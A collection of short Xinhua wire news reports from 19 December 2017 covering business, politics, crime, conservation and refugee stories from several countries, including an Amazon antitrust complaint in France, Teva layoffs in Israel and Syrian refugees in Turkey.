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PARIS, Dec. 19 (Xinhua) -- The French government has filed a complaint with the Paris Commerce Court against e-commerce giant Amazon for abusing its dominant position with some suppliers, local newspaper Le Parisien said on Monday.

Under the complaint, which follows a two-year investigation by France's consumer fraud watchdog, the DGCCRF, the Economy Ministry is seeking a fine of 10 million euros (11.8 million U.S. dollars) against Amazon, the newspaper said.

"The platform imposes unbalanced relations on its vendors ... [that may] push them into bankruptcy," DGCCRF official Loic Tanguy told Le Parisien.

Amazon can for instance unilaterally change contract terms it has with the more than 10,000 French companies using its e-commerce platform to sell their goods, or even suspend contracts entirely, the newspaper said.

A spokesman for Amazon said the company does not comment on legal proceedings.

Amazon runs a very successful business with a market cap of 574 billion dollars, almost double the market value of U.S. retail giant Wal-Mart.
Source: Xinhua| 2017-12-19 18:20:53|Editor: Yamei

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by Keren Setton

JERUSALEM, Dec. 19 (Xinhua) -- Israeli pharmaceutical firm, Teva, announced late last week it was to fire 14,000 workers worldwide, approximately 25 percent of its workforce, in an attempt to save the company from falling part completely.

In Israel, a total of 1,700 workers are expected to be laid off over the next two years. This will be the largest single layoffs in the history of the country.

It is estimated that at least twice that amount of laborers will lose their jobs, as service providers for Teva in the country will also take a hit.

In response to the announcement of massive personnel cutbacks, Israel's national trade union held a nationwide strike on Sunday. Flights were canceled, hospitals worked with reduced staff and other critical services were suspended for half a day.

Teva is the largest generic drug firm in the world. In recent years, it suffered major setbacks that led up to this crisis. It's share price in the last two years has spiraled downwards with a slight improvement in recent months.

This improvement seems to be related to the appointment of a new CEO for the firm, Kare Schultz, a Danish business executive.

For many Israelis, who see Teva as a source of national pride, the presence of a foreigner at the helm of the company makes him less sentimental to local laborers. However, with the firm in such a crisis, it seems cutbacks are a measure long called for.

Speaking at a weekly cabinet meeting, Israeli Prime Minister Benjamin Netanyahu addressed the issue.

"It started as an Israeli company and we want it to remain as an Israeli company," said the Israeli premier.

"Such a firm brings very high added value to the Israeli economy," said Shlomo Maoz, an Israeli economist who has held leading positions in private firms and several public service positions.

"It is very important that it stays Israeli and that it's research base stays in Israel," Maoz told Xinhua.

But with Israel's economy in robust shape and the unemployment rate at a comfortable 4.2 percent low, it seems the market will be able to handle the blow and workers will be able to find jobs.

There are sectors in the Israeli market which are desperately looking for workers.

According to Gilad Alper, head of Research at Excellence Nassuah Trust Company, the Israeli hype over the massive layoffs, although large by Israeli proportions, is over-exaggerated.

"Every year about 80,000 people in Israel lose their jobs, they just find other jobs," Alper told Xinhua. "It's not anything that everyone should go nuts about and certainly does not justify in any way shape or form, any type of state intervention."

Members of the Israeli government are now debating whether to provide a safety net for the Teva employees expected to lose their jobs. Although Teva being a private firm, the country is not obligated to do so.

Netanyahu and Finance Minister Moshe Kahlon are scheduled to meet with Teva CEO Schultz today.

According to media reports, the Israeli leader is going to ask Schultz to close plants in other locations such as Ireland instead of in Israel.

Regardless of the Teva crisis, the small country retains a solid position in the global pharmaceutical and biomed market.

"Israel is in a good place, there are other Israeli companies and there is great potential, but a lot of capital is needed. After new medicines are discovered, plants need to be properly managed and maintained," Maoz said, adding this will keep Israel a competitive player in the market.

However, towards the end of 2017, numbers supplied by Israel's Central Bureau of Statistics show a decrease of almost 40 percent in pharmaceutical exports.

The sharp plunge may be attributed to large reduction in generic drug prices, especially in the United States.

Teva, which has been struggling for over two years, is Israel's largest exporter and currently paying the toll of this nose-dive.
Source: Xinhua| 2017-12-19 18:25:54|Editor: Yamei

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NAIROBI, Dec. 19 (Xinhua) -- Chinese smartphone maker OPPO on Tuesday launched a new device for Kenya's Christmas festive season.

OPPO Brand Director Jesse Wu said in a statement released in Nairobi that its latest premium device, the F5 6GB Christmas Red Edition comes with more RAM and storage.

"Only 500 devices of the limited edition F5 6GB will be available with an exquisite appearance in red and black at a cost of approximately 400 U.S. dollars in the Kenyan market," Wu said.

OPPO is targetting Kenya's high-end consumer market, where demands are fueled by the East African nation's rising income levels.

The new handset comes with the 6-inches FHD+ Full screen display. Wu added that this is the first time a mid-range smartphone has been equipped with such clear and vivid full screen display.

In 2016, OPPO was ranked as the number four smartphone brand globally, according to the International Data Corporation.

The Chinese brand entered the Kenyan market in March 2015. Kenya has emerged as a lucrative market for Chinese smartphones including Huawei, Tecno and OPPO.
Source: Xinhua| 2017-12-19 18:25:54|Editor: Yamei

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TOKYO, Dec. 19 (Xinhua) -- One of Japan's leading construction firms Obayashi Corp. has admitted to breaching antitrust laws connected to a bidding process for construction contracts for a new maglev train project, local media quoted sources close to the matter as saying Tuesday.

Japan's antitrust watchdog, the Japan Fair Trade Commission (FTC), heard from Obayashi that it was involved in obstructing the bidding process along with three other leading constructors, Taisei Corp., Kajima Corp. and Shimizu Corp., according to the sources.

Obayashi admitted to the FTC and prosecutors that it colluded with the three other contractors in deciding which of the companies would be awarded contracts, ahead of the formal bidding process.

Obayashi's admission of guilt means that despite the violation, the company will escape a fine, under the FTC's leniency rules.

Being that Obayashi was also the first to admit foul play will likely mean that under the rules the company will also dodge criminal charges.

The FTC along with the Tokyo District Public Prosecutor's Office on Tuesday raided the headquarters of both Obayashi and Taisei over suspicions of their involvement in violating antitrust laws.

It came a day after the headquarters of Kajima Corp. and Shimizu Corp. were also searched by prosecutors on allegations they too breached the antitrust laws concerning construction bids for Japan's first maglev train project.

The four major contractors collectively won bids for 15 of the 22 construction projects for a planned maglev train project, said Central Japan Railway Co., the operator of the 9 trillion yen (80.01 billion U.S. dollar) project.

All four companies being investigated, however, declined to comment on Obayashi's report to the FTC on Tuesday, as the antitrust investigation is currently in full-swing.

Obayashi's offices were searched earlier after it came to light that a Central Japan Railway Co. official may have leaked information to the firm pertaining to construction tenders.

Based on this privileged information, Obayashi is suspected to have encouraged its competitors to submit higher bids and in doing so out-pricing themselves from the tendering process, according to the sources.

This prompted suspicions that the four main companies may have violated Japan's antitrust law by fixing bid prices and determining tender winners ahead of the bidding process.

The maglev train would be the world's first that operates by using superconducting magnetic levitation technology to propel passengers at speeds of up to 500 kilometers per hour, far quicker than Japan's current Shinkansen bullet trains.

The trains are expected to be operational in 2027 between Tokyo and Nagoya, with the route being extended by 2045 to Osaka.
Source: Xinhua| 2017-12-19 18:30:56|Editor: pengying

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Chinese State Councilor Yang Jiechi (R) meets with visiting Italian Foreign Minister Angelino Alfano in Beijing, capital of China, Dec. 19, 2017. (Xinhua/Ding Haitao)

BEIJING, Dec. 19 (Xinhua) -- China and Italy Tuesday agreed to boost cooperation within the framework of the Belt and Road Initiative.

The consensus was reached during talks between Chinese State Councilor Yang Jiechi and Italian Foreign Minister Angelino Alfano who is on an official visit to China.

Briefing Alfano on the 19th National Congress of the Communist Party of China (CPC), Yang hailed the traditional friendship between the two countries and good development momentum of bilateral ties.

Yang called on the two sides to maintain high level exchanges and contact between various departments, deepen pragmatic cooperation on the Belt and Road Initiative, and push forward people-to-people exchanges for higher level China-Italy and China-Europe comprehensive strategic partnerships.

Expressing his congratulations on the success of the 19th National Congress of the CPC, Alfano said his country places great importance on developing ties with China.

Italy will play an active role in the construction of the Belt and Road to intensify bilateral ties, the Italian foreign minister stressed.
Source: Xinhua| 2017-12-19 18:30:58|Editor: Yamei

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KUNMING, Dec. 19 (Xinhua) -- Police have seized 129 tonnes of raw materials for producing drugs in the city of Baoshan in southwest China's Yunnan Province, arresting one man, authorities said Tuesday.

The man, originally from east China's Fujian Province, caught police attention earlier this month, after frequently transporting raw drugs-materials abroad and involvement in drug manufacturing.

On Dec. 15, the suspect was caught in the city of Lincang, which borders Myanmar, with 100 buckets and 26 tonnes of drug-making materials in his vehicle.

Police destroyed a drug-making lab related to the case, confiscating 103 tonnes of raw materials.

Meanwhile, police in Fengqing County busted a drug gang, detaining five suspects and seizing 16 kilograms of methamphetamine, the provincial public security department said Tuesday.

Both cases are under further investigation.

Yunnan is a major front in the battle against drug crime, as it borders the notorious Golden Triangle, known for its rampant narcotics production and trafficking.
Source: Xinhua| 2017-12-19 18:35:58|Editor: Yamei

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SHIJIAZHUANG, Dec. 19 (Xinhua) -- A 20-year-old man was reunited with his family Tuesday, after being abducted as a toddler in north China's Hebei Province 19 years ago.

Two men abducted the then 11-month-old boy in Cixian County in the city of Handan in August 1998, according to local police.

Police launched an investigation but were unsuccessful in finding the child. The search for suspects was complicated as they were believed to be migrant workers and a large number of people from other provinces worked at coal mines in the county at that time. The missing boy's parents were also migrants from southwest China's Sichuan Province.

Under instructions from the Ministry of Public Security, local police relaunched an investigation in February this year. They later arrested four suspects.

After receiving confessions from the suspects, police found the missing man in the city of Liaocheng in neighboring Shandong Province on Sept. 24 and DNA testing confirmed his identity on Oct. 6.
Source: Xinhua| 2017-12-19 18:35:58|Editor: Yamei

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SHENZHEN, Dec. 19 (Xinhua) -- Innovation saw this boomtown of Shenzhen in south China's Guangdong Province have the third highest gross domestic product in the country in 2016, following Shanghai and Beijing.

Statistics authorities of Guangdong earlier this month published a revised version of last year's GDP based on a new calculating method taking into account of expenditure on research and development (R&D), which was previously excluded.

Shenzhen's GDP exceeded 2 trillion yuan (302 billion U.S. dollars), 58.6 billion yuan more than the previous calculation, replacing the provincial capital of Guangzhou as the third in the ranking.

In July, China's State Council approved the calculation method, which is in line with international standards, to recognize innovation in the economy.

China has been relying on innovation as a major engine for growth. At the 19th National Congress of the Communist Party of China, which charted the course for the country's future development, innovation was widely encouraged, and labeled as the primary driving force behind development.

INNOVATION RULES

In many ways, Shenzhen can be seen as a microcosm of China's innovation-based development.

The city has made a dramatic transformation from a tiny fishing enclave in the 1970s, to an innovation hub hosting some of China's most successful tech companies and startups.

Shenzhen-based tech giant Huawei said it spent 11 billion U. S. dollars on R&D last year, compared to 10 billion U.S. dollars spent by Apple Inc.

Two years after its founded in 2012, the Royole company rolled-out the world's thinnest bendable screens, which if used on an iPad, would allow it to be folded to the size of an iPhone.

Drone maker DJI has pioneered the development of drones, gaining 80 percent of global market share.

Shenzhen spent over 80 billion yuan on R&D in 2016, accounting for 4.1 percent of its GDP, comparing to 33.3 billion yuan in 2010.

According to the Ministry of Science and Technology, China's spending on R&D reached 1.54 trillion yuan in 2016, accounting for 2.1 percent of GDP.

INNOVATORS UNITE

Cities around Shenzhen are joining hands seeking to maximize their innovation might.

Guangdong wants to build a Chinese Silicon Valley and in September approved a plan to establish the Guangzhou-Shenzhen Science and Technology Innovation Corridor, vowing to make it a world-class hi-tech industry innovation center by 2050.

The economic belt, stretching more than 180 kilometers, covers an area of 11,836 square km, including the cities of Guangzhou, Shenzhen and Dongguan. The three cities are home to over 78 percent of hi-tech enterprises and 60 percent of advanced R&D institutions in the Pearl River Delta.

Chen Zaiqi, researcher with Guangdong Academy of Social Sciences, said the resources would boost innovation-driven development in the corridor as well as integrated development of free trade zones in the delta and the Guangdong-Hong Kong-Macao Greater Bay Area.

Liu Zunyi, an official with Shenzhen Finance Institute, said that to save costs and boost development more effort was needed in the flow of services, talent, capital and information between all cities in the region.
Source: Xinhua| 2017-12-19 19:06:03|Editor: Mengjie

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TRIPOLI, Dec. 19 (Xinhua) -- Libya's foreign medical service debt has exceeded 1.2 billion dinars (900 million U.S. dollars), said Minister of Health Omar Al-Taher on Tuesday.

"The issue of treatment of Libyans abroad is one of the heaviest and most difficult files of the ministry over the past few years," Al-Taher told Xinhua in an exclusive interview.

"We demanded to isolate this file, not an escape from responsibility, but in order to devote to the burden of the health sector, which has many problems that need continuous follow-up," Al-Taher said.

Some of the problems are related to Libyan patients treated abroad and others are related to the parties responsible for choosing countries for medical treatment, he added.

Ministries of Health, Foreign Affairs and Finance are concerned with treatment of Libyans abroad.

Libya has formed a joint committee with the aim of finding solutions to review the financial budgets allocated to the embassies, which are concerned with a large number of Libyan patients treated abroad," Al-Tahel explained.

Thousands of wounded and ill Libyans are receiving treatment in Tunisia, Jordan, Turkey and Egypt, at the expense of the Libyan government, Al-Taher said.

"These countries are demanding Libya to pay fees of more than 1.2 billion dinars. Therefore, there is a need to re-check invoices and accounts, which is not as easily expected, despite the allocation of amounts to pay these fees recently," he said.

Clinics and hospitals in Tunisia have refused to reduce the fees of treatment of Libyans, which are about 120 million Tunisian dinars (80 million dollars) over the past seven years.

And Jordan demands Libya to pay medical fees of nearly half a billion U.S. dollars, which prompted the Libyan authorities to initiate financial arrangements for urgent settlement.

The minister stressed that relations between Libya and Jordan will improve after the new Libyan Ambassador to Jordan is in office and a new medical attache is appointed at the Libyan embassy to Jordan. Also, an audit team will be sent to review outstanding invoices.

Libya suffers a political division between eastern and western governments, including two ministries of health.

Al-Taher said that he is personally working to ensure cooperation between the divided authorities and to spare the health sector from political controversy.

Al-Taher also said that the European Union and the World Health organization pledged to provide 40 million Euros of medical assistance to Libya.

"We need international medical assistance in training Libyan medical crews, as well as providing medical supplies systems that we don't have at the moment," he added.

European Union last week pledged a financial support of 120 million euros for 37 projects in Libya. The targeted sectors include health and security.

The European Commission has recently approved a new program of 11 million euros to support Libyan health care sector.
Source: Xinhua| 2017-12-19 19:46:09|Editor: pengying

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JAKARTA, Dec. 19 (Xinhua) -- Indonesia has received significant tour package orders from potential Chinese tourists during its tourism promotion activities in three Chinese cities, officials at the Indonesian tourism ministry said here on Tuesday.

Assistant Deputy Minister for Asia Pacific Marketing Development Vinsensius Jemadu said that the recent consumer selling programs held from Dec. 8 to 11 in Chinese cities of Xiamen, Sanya and Fuzhou had attracted more than 1,800 Chinese visitors who booked for tour packages to Indonesia's Jakarta, Bali, Manado, Yogyakarta, Thousand Island and Lake Toba.

Deputy Minister for Foreign Market Development I Gde Pitana expected that the recent consumer selling events in China would further enhance arrivals of Chinese tourists to Indonesia.

He added that China now leads the arrivals of foreign tourists in Indonesia, making it an important tourism market to Indonesia.

Indonesia also used the promotion events to explain the current situation in Indonesia's resort island of Bali related to the ensuing volcanic activities in Bali's volcano of Mount Agung.

Pitana said that people's daily lives as well as tourism activities in Bali were not disrupted by the volcanic events, assuring that Bali is safe for tourists.

"For Chinese tourists, no need to be scared. The volcano's location is far from Bali's ultimate tourism spots like Kuta Beach, Seminyak and Ubud," he said in a statement.

Indonesian Tourism Minister Arief Yahya said the government continues to pay more attention to the comfort and safety of tourists in Bali.
Source: Xinhua| 2017-12-19 19:56:10|Editor: Yurou

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DUBAI, Dec. 19 (Xinhua) -- A Dubai stock-listed provider of Islamic insurances has agreed to acquire Al Hilal Takaful from Al Hilal Bank, which will create the largest takaful group in the United Arab Emirates (UAE), the state news agency WAM reported.

Takaful Emarat, a Dubai stock-listed provider of Islamic insurances (known as takaful) has agreed to acquire Al Hilal Takaful from Al Hilal Bank, Abu Dhabi in an all cash transaction.

The transaction has received initial approval from the UAE's Insurance Authority and brings together two "complementary takaful businesses," the report said.

Takaful Emarat provides life and health takaful insurance for customers, mostly in Dubai and the northern sheikhdoms of the UAE.

Al Hilal (Arabic for half moon) operates with a general licence, offering a range of cover for individual and corporate customers, primarily in the UAE capital Abu Dhabi.

The two companies wrote over 900 million dirham (245.23 million U.S. dollars) in combined gross written contributions in 2016.

Mohammad Al-Hawari, Executive Board Member and Managing Director of Takaful Emarat, said "in parallel, we are making strong progress in developing our digital platform, which will mean a highly efficient and cost effective service for our customers."

Al Hilal Takaful, a well-established and complementary business, "is a very good fit for us," he noted.

Alex Coelho, Chief Executive Officer of Al Hilal Bank, said "We are working closely together to ensure a smooth transition for all our insurance customers."

Earlier in the year, Fareed Lutfi, the Secretary General of the Emirates Insurance Association told Xinhua that the Islamic insurance sector in the UAE was ripe for consolidation.

"Many firms failed to implement a digital strategy unlike their conventional counterparts, and the times of overnight profits is over, too, due to a sharp rise in competition," he said.

Takaful Emarat's planned acquisition of Al Hilal Takaful is subject to full regulatory approvals and is scheduled to be completed in the first quarter of 2018.

On the Dubai Financial Market, Takaful Emarat gained 0.5 percent on Tuesday.
Source: Xinhua| 2017-12-19 19:56:11|Editor: Yurou

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PHNOM PENH, Dec. 19 (Xinhua) -- Conservationists have found a nest of the globally endangered Asian giant softshell turtle on a sandbar on the Mekong River between Kratie and Stung Treng provinces in northeast Cambodia, a Wildlife Conservation Society (WCS) statement said Tuesday.

"This is the only remaining area in the country where these huge turtles still breed," the statement said. "This nest is now being protected by local communities until all eggs are hatched and the hatchlings will be then released into the river."

The Asian giant softshell turtle (Pelochelys cantorii) is listed on the International Union for Conservation of Nature (IUCN) Red List as globally endangered. It was thought extinct in the Cambodian portion of the Mekong River until its re-discovery in 2007 in a 48-km stretch of the river in Kratie and Stung Treng provinces.

According to the WCS, since 2007, 378 nests have been protected and 8,528 hatchlings released.

"From now until June is the breeding period of the Asian giant softshell turtle. This is the first nest we have found so far this year," said Som Sitha, WCS's technical advisor to the Turtle Conservation Project.

"We will work hard with the Fisheries Administration and local communities to find more nests along the Mekong River and protect them from egg collection."

He said the Asian giant softshell turtle is a very rare species that will become extinct in the near future if proper action is not taken to conserve them.

"There are not many individuals left. Everyone can help conserve the species by not buying or eating their meat or eggs," he said.
Source: Xinhua| 2017-12-19 19:56:11|Editor: Yurou

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TOKYO, Dec. 19 (Xinhua) -- Japanese component maker Mitsubishi Materials Corp. said Tuesday that it has uncovered more cases of data falsification and inspection improprieties, adding to the woes of the firm whose subsidiaries were recently found to have rigged data.

Mitsubishi Materials President Akira Takeuchi conceded that the latest scandal had caused widespread trouble.

"I want to offer a deep apology for causing extensive trouble," Takeuchi told a press briefing on the matter in Tokyo on Tuesday.

According to the firm, one of its subsidiaries, Mitsubishi Cable Industry Ltd., was found to have not conducted inspections on some of its sealing products, such as those used to join pipes, and rigged data related to magnetic wires for use in electrical equipment.
Source: Xinhua| 2017-12-19 20:01:12|Editor: Yurou

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PYONGYANG, Dec. 19 (Xinhua) -- The Democratic People's Republic of Korea (DPRK) media have said that most Americans favor a diplomatic solution to the Korean peninsula crisis and oppose resorting to war as promulgated by U.S. President Donald Trump.

The Korean Central News Agency (KCNA) said in a commentary Monday that "such opinion that Trump might order a preemptive attack on the DPRK is widely spreading among former and incumbent officials of the U.S. administration, media and experts."

The commentary said some U.S. media are claiming "the war chariot of the Trump administration began to move" and "it is reminiscent of the Bush administration preparing for a war against Iraq."

However, there is widespread concern and criticism among Americans that "if a war with north Korea breaks out, a disaster more terrible than the one during the Second World War might be brought to the U.S. mainland," said the KCNA.

Former U.S. Navy Rear Admiral Michael Smith and 57 other ex-generals of the U.S. army said in an open letter to Trump that military action of the United States and its allies may invite immediate retaliatory shelling by the DPRK which would cause "hundreds of thousands of casualties."

Charles V. Pena, former director of defense policy studies at the Cato Institute, said war will cause at least one million casualties and an economic loss of one trillion U.S. dollars.

The commentary also said results of the opinion poll conducted by the Washington Post and ABC found that at least 70 percent of the respondents said no to the preemptive strike, and 82 percent of them expressed serious concern that a military attack could escalate into a large-scale war.

The U.S. magazine Newsweek reported the opinion poll results that two thirds of Americans remain opposed to war with the DPRK, it added.
Source: Xinhua| 2017-12-19 20:01:12|Editor: Yurou

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KATHMANDU, Dec. 19 (Xinhua) -- The first national conference on rice fortification held here on Tuesday stressed on enriching rice with essential vitamins and minerals which could hold the key to a healthier and more productive future for the Nepalese people.

The two-day conference has been attended by world experts, government officials, representatives from various organizations who are reviewing the food fortification strategies and experiences in Nepal.

The event has been jointly organized by the Department of Health Services and Nepal Food Corporation in association with the United Nations World Food Program (WFP).

"Access to good nutrition is a human right that no individual should be denied. The national initiative will make a real difference in the everyday lives of millions by engaging multiple partners across different sectors," Health Minister Deepak Bohara said while addressing the event.

Malnutrition in general -- but even more so micronutrient malnutrition -- is a serious public health concern in Nepal. The country's rate of iron deficiency and anemia remains high.

According to the 2016 Nepal Demographic and Health Survey, more than one in four women of reproductive age, and more than half of children of 6-9 months, are anemic. Among pregnant and breastfeeding women, the prevalence of anemia stands at 46 percent.

According to WFP, the nutrients most commonly used in food grain fortification are iron and folic acid while fortifying rice with essential vitamins and minerals can lead to better health, especially among the poor and vulnerable.

"Chronic malnutrition, especially among women, adolescent girls and children, is a terrible burden for the people of Nepal, both in terms of health and economic productivity. Micro-nutrient fortification is a cost-efficient intervention that can really help tackle this problem," Pippa Bradford, WFP Nepal Country Director said.

The conference is expected to pave the way for a Plan of Action and the signing of a memorandum of understanding among key partners to initiate rice fortification in Nepal.
Source: Xinhua| 2017-12-19 20:06:13|Editor: pengying

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BEIJING, Dec. 19 (Xinhua) -- China's top economic planner on Tuesday ordered local authorities to strengthen regulation on the pricing of heating and natural gas during upcoming holidays as demand surged.

The National Development and Reform Commission (NDRC) said in a statement that the heating prices for households converting from coal to gas should be regulated more strictly during the New Year and the Spring Festival.

Authorities should punish those who fabricate and spread information on price hikes, engage in price rigging and fixing, or make arbitrary charges for installing heating equipment, the NDRC said.

The move came amid surging natural gas demand in China as millions of households switched to gas from coal for heating this winter to help combat air pollution.

The country's natural gas consumption rose 18.9 percent year on year in the January-November period, 12 percentage points higher than that in the first half and more than 8 percentage points higher than the average growth in the previous five years, according to NDRC data.

North China's Hebei Province has activated a second-level alert for natural gas supply, indicating that the province's natural gas supply is 10 to 20 percent lower than its total demand.

China's major state-owned oil firms have been told to maximize production at domestic gas fields. An NDRC spokesperson said Monday that gas supply for industrial use will be reduced moderately to better meet household demand.

Xu Bo, a senior analyst with China National Petroleum Corporation's Economics and Technology Research Institute, estimated that natural gas use is expected to reach 230 billion cubic meters this year, with 20 billion cubic meters coming from the coal-to-gas transition.

Xu projected a growth rate of 17 percent for natural gas consumption this year, compared with 7 percent last year.
Source: Xinhua| 2017-12-19 20:11:14|Editor: pengying

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By Shristi Kafle

POKHARA, Nepal, Dec. 19 (Xinhua) -- Xiang Shaohua first travelled the Himalayan country as a tourist some eight years ago, but at the time he never imagined he could be living in a foreign land as a farmer, thousands of kilometers away from his hometown in China's Sichuan Province.

Since then, the 30-year-old man has been engaged in vegetable farming in Lake City Pokhara and making a good living from his profitable business.

His farm was initially based in a village called Hemja for almost seven years, but this year he moved it to a 17,800-square-meter plot of land in the town, which he has leased for eight years.

"I came to Nepal as a tourist but was so amazed by the perfect weather that I saw a high potential for agriculture here. I started a vegetable farming business which is my means of livelihood now," the Chinese farmer told Xinhua recently.

The Chinese farmer had learned the basic knowhow of farming from his father's vegetable business back in his hometown, which he believed could be of great use on a foreign land. According to him, there is not much difference between the farming procedures of Nepal and China besides the use of seeds and technology.

Xiang's daily routine starts at 6 a.m. every morning and he usually spends at least eight hours on his farm. His farming business not only generates revenue, but also provides employment for more than 10 local residents and day workers in his company, named "Rong Hua Green Lettuce".

Xiang's wife, father and a younger sister are also in his farming business. All of them work together to produce a range of seasonal vegetables like cauliflower, lettuce and cabbage, among others.

His products are usually sold in the local markets of tourist hub Pokhara, although a large portion of his produce is supplied to hotels and restaurants, especially Chinese enterprises.

"My sales reach around 4 million Nepalese rupees (about 38,880 U.S. dollars) annually of which over 1 million rupees (about 9,720 U.S. dollars) is net profit," Xiang told Xinhua with a big smile.

Among various items, lettuce is the most sought after product from Xiang's farm, which are in high demand from both Chinese and Nepali restaurants. After all these years, the Chinese farmer has become a well-known figure, highly regarded by hotels in Pokhara for his delicious produce.

He produces lettuce from Nepali seeds as he finds Chinese seeds expensive and difficult to import due to cross-border trading hassles.

"I use construction materials and a few farming tools that I brought from China, but the rest are all Nepali products," Xiang, known locally by his Nepalese name, Sandesh, said in fluent Nepalese, which he learned within a few months after arriving.

According to the Chinese farmer, Nepali farmers should be more concerned about local weather patterns, environment and soil type before getting into the farming business.

Xiang wants to expand his farm operation in Pokhara in a grand manner. For this, he wants to try his hand at fruit farming on a spacious land to make the business more commercially valuable.

"I want to live in Nepal for more years. Since Pokhara lacks fruit farms, I am planning to produce fruits that are suitable to the environment," the Chinese farmer told Xinhua.
Source: Xinhua| 2017-12-19 20:11:14|Editor: Yurou

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MANILA, Dec. 19 (Xinhua) -- Philippine President Rodrigo Duterte signed on Tuesday the tax reform bill into law, calling it the administration's "biggest Christmas gift to the Filipino people."

The Tax Reform for Inclusion and Acceleration (TRAIN) law, which will come into effect by January next year, is expected to lower the personal income taxes of Filipinos while raising duties on certain items like fuel, cars, coal and sugar-sweetened drinks.

TRAIN is the first package of the government's proposed Comprehensive Tax Reform Program (CTRP), which seeks to correct several deficiencies in the tax system and to generate additional revenue to fund the country's investment requirements.

Duterte said during the signing ceremony at the Malacanang presidential palace that the tax reform law is the administration's "biggest Christmas gift to the Filipino people as 99 percent of the tax payers would benefit from the simpler, fairer and more efficient tax system."

Duterte said "one of the TRAIN's most significant breakthroughs" is that it will exempt those earning an annual taxable income of 250, 000 pesos (4,960 U.S. dollars) and below from paying the personal income tax.

To make up for the loss of revenue due to the reduced personal income tax, the law imposes higher taxes on cars, fuel, cosmetic surgery, tobacco, and some sweetened beverages.

"Revenues from the TRAIN will fund our priority projects to ensure a quality education, including free tuition in state universities and colleges, equally, quality health care, social protection and conditional cash transfers, improved infrastructures to the Build, Build, Build program and the reconstruction of Marawi," Duterte said.

Finance Secretary Carlos Dominguez said the TRAIN will provide hefty personal income tax cuts for the average taxpayer.

Presidential spokesperson Harry Roque said the TRAIN, together with the complementary measures to be passed early in 2018, will yield more than 120 billion pesos (2.38 billion U.S. dollars) in revenue.

Philippine government projection shows that, with the tax reform, real gross domestic product level will be higher by 0.5 to 1.1 percent by the year 2022.
Source: Xinhua| 2017-12-19 20:21:16|Editor: pengying

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BANGKOK, Dec. 19 (Xinhua) -- Thai cabinet on Tuesday approved an agreement to start the construction of the first phase of Thailand-China railway on Dec. 21, said Thai Transport Minister Arkhom Termpittayapaisith during a press conference here on Tuesday.

The cabinet also approved the Department of Highways of the Thai Transport Ministry to build the first 3.5-kilometer section, the minister said.

State Railway of Thailand (SRT) will sign a Memorandum of Understanding (MoU) with the Department of Highways on Wednesday to authorize the department to do the job, said acting governor of SRT Anont Luangboriboon during the press conference.

The first 3.5 km section is located between two current railway stations, Klang Dong and Pang Asok in the northeastern province of Nakhon Ratchasima.

Thanin Somboon, Director-General of Department of Highways, said in a press release for media on Tuesday that the department is ready for the construction work and would build the first section and a good example for other sections.

Thanin added that the construction would be a great chance for both Thai and Chinese engineers to learn together.

A ground breaking ceremony is set to be held there on Dec. 21, while the second section of 11 km, the third of 119.5 km and the fourth of 119 km are to open for bidding later.

The 253 km project is set to cost some 179 billion baht (5.4 billion U.S. dollars). The Chinese side is responsible for the design of the railway, supervision of the construction and supplying trains, signal systems, among others.

Once completed, the Bangkok-Nakhon Ratchasima railway with a maximum speed of 250 km per hour will be the first standard gauge high-speed railway of the country.

However, to finally form an artery railway linking Thailand, Laos and China, a 355 km second phase linking Nakhon Ratchasima with Nong Khai on the border with Laos has to be built.

Arkhom said that Thailand and China had begun to discuss the second phase.
Source: Xinhua| 2017-12-19 20:26:18|Editor: Yurou

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by Burak Akinci

ANKARA, Dec. 19 (Xinhua) -- As the war in neighboring Syria drags on and will enter soon its seventh year with no tangible breakthrough in peace talks, the record 3.3 million Syrian refugees Turkey is hosting has become a harsh reality it has to deal with.

The majority of Syrians who fled to Turkey are happy to be in the country and have no intention or limited intention to return, according to a recent extensive survey by prominent refugee experts.

According to the latest figures, an average of 306 babies are born from the 3.3 million registered Syrians in Turkey every day.

Meanwhile, among the scattered Syrian refugees across Turkey, only 7 percent live in camps established in towns near the Syrian border in decent conditions.

"Our research shows despite all the difficulties, 50 percent of Syrians say they are happy. And this figure is quite high. So, at least 50 percent have no motivation at all to go back," said Murat Erdogan, a leading author of the survey and the director of the Turkish German University's Migration and Integration Research Center.

Another recent survey conducted jointly by the IPSOS research center and the Humanitarian Foundation for Development (INGEV), confirms this trend.

According to its results, when asked about their future expectations, 52 percent said they are optimistic about them and their families' future in Turkey.

Turkey hosts the largest number of refugees in the world but it doesn't define or call them "refugees," which would imply giving them the rights by international conventions and regulations.

Turkish President Recep Tayyip Erdogan repeated on Monday, also the International Migrants Day, that his country's policy of open doors" to refugees was still in effect despite some social and integration problems encountered by the mass Syrian migrant community.

"We have spent 30 billion U.S. dollars in the last seven years for the refugees that came to our country fleeing the war in their country's," he said in a speech in Ankara.

Besides the 3.3 million Syrian refugees, Turkey is also home to over 320,000 asylum seekers from other countries, such as Iran, Iraq and Afghanistan.

"Citizens in countries in turmoil have always turned to Anatolia. We have always opened our hearts to them and accepted them," Erdogan added.

He again denounced the scarcity of international funding for his country to manage the refugee crisis.

The Syrian civil war remains the largest single cause of displacement, with 12 million people (around two-thirds of the population) either uprooted in the war-torn country or fleeing abroad.

Despite the international applause of Turkey's efforts to host millions of people fleeing from a disastrous conflict that has claimed tens of thousands of lives and reduced a country into rubble, the lack of a solid refugee strategy is what experts all worry about.

"There is a confusion inside the government on how to address the problem. There is a will but the ways of dealing with this complex issue are not there," Metin Corabatir, a leading researcher at the Research Center on Asylum and Migration (IGAM), told Xinhua.

According to the Turkish expert, integration is the only durable solution to the issue.

"Turkey has to face the reality that it must adopt a comprehensive strategy to integrate its refugees by giving them proper rights to be included in the labor market and the society," Corabatir said.

"It all depends on the terms and the timetable of a possible peace. But I believe people would want to go to their native country, to their homes since they will always be seen as foreigners in Turkey," Corabatir explained.

"Some of the families that we encounter say that their children could stay here but that they will return in case of a peaceful solution in Syria," added the expert.

Among youngsters, the trend is generally in favor of staying in Turkey, where they have established a new life without armed conflict and fear.

"My parents would definitely want to return to Aleppo where I and my brother were born, but we want to stay here to go to university if we can," Mohammed Sanaar, 17, who is studying in a state high school in Ankara where he has been living since 2013, told Xinhua.

Speaking fluent Turkish, he said "conditions are more favorable" for him and his younger brother here despite the fact that they live in a house packed with another Syrian family and benefit from aides.

The European Union provides financial assistance to the Syrians in Turkey in return for stopping the flow of immigrants from Turkish territories to the Greek islands and inland Europe, as part of a deal brokered in May last year.

The deal requires Brussels to deliver a total of 6 billion euros (7.08 billion U.S. dollars), but Ankara has criticized the EU for delaying the funds, while the European Commission recently responded by promising to fulfil its end before 2018.

